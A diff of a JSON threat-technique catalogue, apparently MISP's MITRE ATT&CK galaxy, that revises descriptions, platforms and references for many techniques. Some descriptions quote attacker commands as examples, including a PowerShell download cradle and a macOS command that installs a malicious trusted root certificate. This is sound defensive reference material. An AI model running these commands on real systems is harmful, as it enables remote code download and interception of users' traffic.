"mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1010", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + "https://attack.mitre.org/techniques/T1010" ] }, "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", @@ -11739,12 +10590,6 @@ "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "meta": { "external_id": "CAPEC-579", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1004", "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", @@ -11784,15 +10629,7 @@ "https://www.apple.com/business/docs/iOS_Security_Guide.pdf" ] }, - "related": [ - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "value": "Modify System Partition - T1400" }, @@ -11800,14 +10637,6 @@ "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", "meta": { "external_id": "T1500", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1500", "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", @@ -11850,7 +10679,7 @@ "value": "Direct Volume Access - T1006" }, { - "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { "external_id": "CAPEC-574", "kill_chain": [ @@ -11862,8 +10691,7 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1007", @@ -11906,12 +10734,6 @@ "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", "meta": { "external_id": "T1101", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "https://attack.mitre.org/techniques/T1101", @@ -11931,7 +10753,7 @@ "value": "Security Support Provider - T1101" }, { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "meta": { "external_id": "CAPEC-646", "kill_chain": [ @@ -11944,21 +10766,18 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1120", - "https://capec.mitre.org/data/definitions/646.html", - "https://linuxhint.com/list-usb-devices-linux/", - "https://ss64.com/osx/system_profiler.html" + "https://capec.mitre.org/data/definitions/646.html" ] }, "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", "value": "Peripheral Device Discovery - T1120" }, { - "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", + "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", "meta": { "external_id": "T1201", "kill_chain": [ @@ -11973,15 +10792,13 @@ "Windows", "Linux", "macOS", - "IaaS", - "Network" + "IaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1201", "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html", "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", - "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" ] }, "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", @@ -12005,14 +10822,6 @@ "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", "meta": { "external_id": "CAPEC-479", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", "https://attack.mitre.org/techniques/T1130", @@ -12041,12 +10850,6 @@ "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", "meta": { "external_id": "CAPEC-551", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1031", "https://capec.mitre.org/data/definitions/551.html", @@ -12083,20 +10886,12 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" ] }, - "related": [ - { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "value": "Device Administrator Permissions - T1401" }, { - "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)", + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", "meta": { "external_id": "T1105", "kill_chain": [ @@ -12115,9 +10910,7 @@ ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://attack.mitre.org/techniques/T1105", - "https://lolbas-project.github.io/#t1105", - "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + "https://attack.mitre.org/techniques/T1105" ] }, "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", @@ -12169,14 +10962,6 @@ "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "meta": { "external_id": "CAPEC-187", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1017", "https://capec.mitre.org/data/definitions/187.html" @@ -12222,15 +11007,6 @@ "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n", "meta": { "external_id": "CAPEC-639", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows", - "IaaS", - "Linux", - "macOS" - ], "refs": [ "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", @@ -12252,7 +11028,7 @@ "value": "Credentials in Files - T1081" }, { - "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n", + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n", "meta": { "external_id": "CAPEC-292", "kill_chain": [ @@ -12267,15 +11043,12 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1018", "https://capec.mitre.org/data/definitions/292.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" ] }, "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", @@ -12337,14 +11110,6 @@ "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "meta": { "external_id": "T1032", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", @@ -12383,14 +11148,6 @@ "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", "meta": { "external_id": "T1024", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1024", @@ -12427,15 +11184,7 @@ "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" ] }, - "related": [ - { - "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "60623164-ccd8-4508-a141-b5a34820b3de", "value": "Domain Generation Algorithms - T1520" }, @@ -12443,13 +11192,6 @@ "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "meta": { "external_id": "T1502", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1502", "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", @@ -12559,7 +11301,7 @@ "value": "Software Deployment Tools - T1072" }, { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "meta": { "external_id": "CAPEC-312", "kill_chain": [ @@ -12575,8 +11317,7 @@ "Windows", "IaaS", "Linux", - "macOS", - "Network" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1082", @@ -12585,8 +11326,7 @@ "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get", "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/" ] }, "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", @@ -12596,13 +11336,6 @@ "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", "meta": { "external_id": "CAPEC-555", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/aa384426", "https://attack.mitre.org/techniques/T1028", @@ -12661,13 +11394,6 @@ "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "meta": { "external_id": "T1063", - "kill_chain": [ - "mitre-attack:discovery" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1063" ] @@ -12698,6 +11424,25 @@ "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81", "value": "Test physical access - T1360" }, + { + "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.", + "meta": { + "external_id": "APP-26", + "kill_chain": [ + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1404", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" + ] + }, + "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "value": "Exploit OS Vulnerability - T1404" + }, { "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).", "meta": { @@ -12722,24 +11467,7 @@ "value": "Exploit TEE Vulnerability - T1405" }, { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts. ", - "meta": { - "external_id": "T1640", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1640" - ] - }, - "uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", - "value": "Account Access Removal - T1640" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.", "meta": { "external_id": "CAPEC-300", "kill_chain": [ @@ -12755,19 +11483,15 @@ "IaaS", "Linux", "macOS", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1046", - "https://capec.mitre.org/data/definitions/300.html", - "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html", - "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a" + "https://capec.mitre.org/data/definitions/300.html" ] }, "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "value": "Network Service Discovery - T1046" + "value": "Network Service Scanning - T1046" }, { "description": "Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)\n\nThe most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.", @@ -12788,7 +11512,7 @@ "value": "Proxy Through Victim - T1604" }, { - "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", + "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI 